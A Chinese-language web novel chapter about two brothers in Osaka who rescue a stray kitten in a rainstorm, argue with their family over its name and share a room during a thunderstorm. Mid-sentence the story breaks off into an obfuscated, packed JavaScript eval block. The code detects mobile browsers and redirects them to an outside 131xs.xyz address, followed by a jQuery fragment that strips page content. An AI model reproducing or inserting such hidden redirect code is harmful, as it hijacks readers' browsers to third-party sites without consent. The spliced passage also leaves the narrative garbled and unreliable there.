暴雨把大阪浇成了一锅煮沸的关东煮，建人冲出校门三秒就湿透了。衬衫黏在后背勾勒出脊椎轮廓，运动鞋里积水随着步伐发出咕叽声，活像穿了双会叫的橡皮鸭。
"早川这恶魔..."他缩在便利店屋檐下拧裤脚，"暴雨天还加练量子力学接球..."手机相册里是早川发的训练视频——黑泽教练正用鲭鱼当排球砸他脑袋。
金太郎突然从雨幕中杀出，嘴里叼着破伞骨架。这蠢狗把唯一完好的伞面撕成流苏款，尾巴甩出的水珠在霓虹灯下画出彩虹。
"你比早川还像恐怖分子！"建人揪住狗脖子往家冲，一人一狗在积水里滑行的姿态，像极了美咲煎失败的破底章鱼烧。
建人冲进居酒屋时，运动服吸饱了雨水，每一步都在地板上拖出蜿蜒的水痕。美咲正踩着凳子往货架顶层塞酒箱，头都没回：“浴室热水烧好了，敢把榻榻米弄湿就宰了你。”
“是是是——”建人扯着衣领往楼上蹿，金太郎蹲在楼梯口幸灾乐祸地甩毛，溅了他一脸泥点子。
等建人裹着浴巾哆嗦着下楼时，美咲已经把姜汤拍在吧台上。浓烈的辛辣味混着黑糖焦香，汤面上漂着三片薄如蝉翼的生姜——这是美咲式温柔的极限。
“去接健太。”她甩来一把印着居酒屋广告的破伞，“那小子肯定又蹲在哪个角落等雨停。”
建人一脚踩进积水坑，冰凉的泥水顺着破球鞋灌进脚趾缝时，他第N次诅咒私立学校的选址："哪个脑残会把学校盖在坟场旁边啊！乌鸦飞过来都得开GPS！"
雨幕把商店街招牌糊成色块，便利店的荧光灯在雨中晕成鬼火。
他缩在便利店檐下，捏着最后一枚百円硬币纠结要不要买伞——美咲给的交通费早变成自动贩卖机的红豆汤进了肚子。
"青空学园...干脆叫青墓学园算了..."他踹飞易拉罐，罐子"哐当"砸中"夜叉罗暴走族旧址"的铁牌。三十年前铁平叔在这飙车时，大概没想到儿子们如今得冒雨给私立学校当孝子。
绕过第三个施工路障时，建人的运动裤吸饱雨水沉得像铁平叔的醉话。手机地图上的小蓝点忽远忽近，活像早川茜捉弄人时的笑脸。
"什么破导航！老子要是有健太那棒球脑..."他骂到一半噎住了——前方坡道上，青空学园的哥特式钟楼在雷光中宛如德古拉城堡。
"这哪是学校？根本是吸血鬼老巢！"建人踹开黏在腿上的传单，上面"贵族式教育"的烫金字早被雨水泡花。他忽然想起健太的棒球包——美咲用五条旧围裙缝的防水层，针脚丑得能让裁缝店老板做噩梦，却能在暴雨里护住笔记本不被淋湿。
青空学园门口，健太缩在便利店屋檐下，棒球包护在怀里像抱着什么易碎品。雨水顺着他的刘海往下淌，在制服衬衫上晕出深色痕迹。隔着三条街都能闻到他身上飘来的潮湿青草味——这家伙绝对在雨里练过投球。
“你是白痴吗！”建人把伞怼到他头顶，“校服淋透了怎么不找地方躲？”
健太眨了眨睫毛上的雨珠：“投球手感…下雨天更好。”
“手感个头！美咲姐的姜汤能辣穿你胃粘膜信不信！”
"怎么不在教室等？"
健太举起屏幕碎裂的手机：[电量1%]的荧光映出他冻青的嘴唇。
"这破学校连充电插头都抠门？"建人扯开棒球包，果然掏出个防水袋——里面装着数据分析本和半块塑封鲷鱼烧，美咲的字条贴在袋口："敢饿死就宰了你。"
回程路上，建人故意把伞往弟弟那边倾斜。健太忽然停住，视线钉在路旁灌木丛——一团脏兮兮的灰影在发抖。
小猫缩在全家便利店废弃纸箱里，浑身泥浆结成了铠甲，唯有眼睛亮得像甲子园夜场的照明灯。健太蹲下来时，棒球包轻轻磕到地面，小猫居然颤巍巍地凑过来嗅他的护腕。
“像你。”建人突然说。
健太抬头，雨珠顺着下颌线滑落。
“被扔在纸箱里，淋成落汤鸡，眼神凶巴巴的——”建人用伞尖戳了戳纸箱，“带回去美咲姐会杀了我们。”
雨更大了。建人把猫塞进卫衣帽兜，感受着小生命在脊椎处拱动的温度。健太的棒球包传来规律的咔嗒声——是他在单手解魔方，这是紧张时的小动作，就像建人接不到球会狂转护腕。
"喂，当年被塞在便利店纸箱里时，"建人突然开口，"你也这么安静？"
健太的魔方停了一瞬，雨声中响起几乎被吞没的："...嗯。"
雨伞歪斜着罩住三人（或者说两人一猫），街灯把他们的影子揉成暖色毛团。
玄关的感应灯被雨汽熏得昏黄，美咲举着捞面笊篱的手僵在半空。建人把湿漉漉的小猫捧成贡品状，健太沉默地解开棒球包——里面整齐排列着宠物店顺来的试用装猫粮。
"荒·巻·建·人——"美咲的怒吼震落门框积灰，"老娘的账本不是宠物店优惠券！"
建人一个滑跪蹭出三米，泥水在榻榻米上画出抽象派求饶图："姐！这可是招财猫！你看它额头有M形花纹，和咱家招牌多配！"
"这是发霉！"美咲的笊篱戳向小猫脏兮兮的脑门，"还有你！"锅铲转向健太，"甲子园基金的钱..."
健太突然把猫塞进她围裙口袋，玳瑁色毛团精准抱住绣着"夜叉罗"的徽章。九年前的雨夜记忆突然袭击美咲——五岁的健太就是这样揪着她沾满鱼腥味的围裙，烧到39度仍不肯松手。
"...最多养到找到领养！"美咲扯出小猫时耳尖发红，"猫砂从建人零花钱扣！"
"再扣我就得去柏青哥店卖笑了！"
"那就卖啊！"美咲甩来记账本，"上周弄坏排球的钱还没赔！"
金太郎突然叼着铁平的珍藏酒瓶登场，瓶身绑着粉色蝴蝶结——明显是健太的手笔。美咲看着酒瓶标签上手写的"猫咪赞助费"，锅铲当啷落地："你们荒巻家的男人...全·都·去·死！！"
雨夜里，新成员"小卷"正用带伤的爪子扒拉建人的破球鞋。而在二楼的秘密账本上，美咲划掉了"新围裙预算"，添上一行小字："猫用除虱浴液 ?1980"。
深夜，健太跪坐在阁楼角落给小猫擦毛。棉签蘸着温水清理耳朵泥垢的动作，和五岁时建人给他处理膝盖擦伤时一模一样。
金太郎把自己最软的垫子拱过来，尾巴拍地板的节奏泄露了老大哥的焦虑。
铁平把啤酒罐捏成王冠扣在小猫头上："叫''雷神''！老子的爱车当年就叫这名！"
美咲的账本拍飞铝箔王冠："蠢死了！叫''玉子''！好记又吉利！"
"哈？你当是在给煎蛋卷取名？"铁平掏出马克笔在猫耳画闪电纹，"看看这眼神！当年山崎组若头的坐骑..."
"坐骑个鬼！"美咲抢过湿巾狂擦猫耳，"你以为谁都跟你似的满脑子暴走族糟粕！"
建人趁机拱火："叫''量子''！我的新必杀技..."
"驳回！"双人合吼震得猫毛乱飞。
健太默默举起写字板：[[ 雨 ]]
"太文艺！""不够霸气！"
金太郎突然叼来健太的旧护腕，上面是他第一次三振时的爪印涂鸦。小猫精准扑中护腕，尾巴扫翻铁平的啤酒罐。
"决定了！"美咲拎起舔啤酒沫的小猫，"叫''夜叉丸''！"
"凭啥用老子的暴走族名号？！"
"治疗费从你私房钱扣的。"
铁平瞬间蔫了，建人憋笑憋出内伤。雨夜的风铃声中，新晋"夜叉丸"在金太郎头上踩奶，爪尖勾破了黑泽教练的棒球卡包装——命运的齿轮在猫爪下悄然转动。
雨还在下，但居酒屋二楼亮着橘色暖光。美咲边骂边煮羊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529083|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奶的背影，铁平偷偷用体温烘干小猫的暴走族外套，金太郎把最爱的磨牙棒推到新成员面前。
健太忽然想起数据分析课上老师说的话：“概率学无法计算的，叫奇迹。”
他低头看着掌心蜷缩的小生命，终于明白建人为什么总说“网前就能决定胜负”——有些相遇在开场哨响起前就注定了。
阁楼的节能灯管滋啦作响，建人正用《周刊少年JUMP》盖着脸装死。
木门被推开时发出老旧的吱呀声，他掀开杂志一角，看见健太抱着夜叉丸杵在门口，发梢还滴着美咲特供的驱虱浴液香波味。
"哥。"健太的睡衣领口歪斜，露出锁骨处结痂的擦伤——上周触杀练习留下的勋章，"今晚...能睡这吗？"
建人把PSP塞到枕头下，腾出半张榻榻米："怎么？贵族学校的高材生怕打雷？"夜叉丸从健太臂弯里窜出，精准降落在建人的肚子上，爪子勾住草莓围裙改的枕套。
金太郎从门缝挤进来，湿漉漉的鼻尖蹭过建人脚踝，大咧咧横卧在两人中间。健太沉默地铺开被褥，动作带着投球前的精密感——被角对齐榻榻米缝线，枕头与墙保持15cm最佳防御距离。
"喂，"建人戳了戳弟弟绷紧的后背，"你国中后就没跟我挤过了吧？"
"准确来说是2010年4月7日。"健太把夜叉丸围在臂弯筑成结界，"你打呼噜频率每分钟37次。"
"那是青春的脉动！"
雷光劈开雨幕的瞬间，健太的睫毛颤了颤。建人突然想起小学时的雨夜，健太抱着破旧的棒球玩偶钻进他被窝，那时的弟弟像只淋雨的雏鸟，连雷声都要换算成投球时速来克服恐惧。
金太郎翻了个身，狗爪拍在夜叉丸屁股上。小猫炸毛窜起，打翻了建人珍藏的《怪物猎人》卡带盒。
"死狗！老子的稀有素材存档！"建人伸手去捞，却被健太拽住衣角——力道和五岁那年一模一样。
"数据分析显示，"健太用被子蒙住半张脸，"群体睡眠能提升安全感32%。"
"说人话！"
"...怕雷声。"
建人愣住。榻榻米下的陈年旧物突然浮现在脑海：褪色的奥特曼被褥、美咲手缝的防惊跳睡袋、记录兄弟俩噩梦次数的日历纸——直到2010年春天，健太在梦中呢喃"不要扔回纸箱"，从此便搬去阁楼单间。
夜叉丸踩过建人的锁骨，肉垫按在健太跳动的眼皮上。金太郎把头拱进两人之间，呼出的热气带着章鱼烧余味。
"你这家伙..."建人把冰凉的脚丫贴上弟弟小腿，"现在倒是像个人类了。"
健太缩了缩脚趾，忽然翻出枕头下的棒球数据分析本。雷光中，建人瞥见最新一页的涂鸦——Q版自己穿着草莓围裙拦网，夜叉丸蹲在发间像顶猫耳头盔。
雨声渐密时，健太的呼吸终于放缓。建人听着双重奏的鼻息（弟弟的平稳，金太郎的呼哧，夜叉丸的呼噜），忽然想起十二岁那个雪夜。美咲在居酒屋忙到凌晨，健太高烧到说胡话，他抱着弟弟裹在铁平的暴走族皮衣里，用游戏机音量键调节呼吸节奏。
夜叉丸的尾巴扫过建人鼻尖，他打了个喷嚏，发现健太的手不知何时揪住了他的衣角。姿势与当年别无二致，只是曾经能整个裹住弟弟的睡衣，如今已盖不住少年投手抽长的四肢。
"下次害怕就直说啊笨蛋。"建人把踢飞的被子拽回来，"哥哥大人我可是很忙的..."
金太郎在梦里吠了一声，尾巴扫灭了小夜灯。黑暗中有四种心跳在共振，像不同声部的安魂曲。阁楼裂缝渗入的雨丝，悄然模糊了年份的界限。
（此刻美咲正在楼下修改账本，把"防潮垫?2980"划掉改成"双人被褥?4500"；而铁平对着手机里偷拍的睡颜照嘟囔："臭小子们，比老子当年抱团取暖时还挤..."）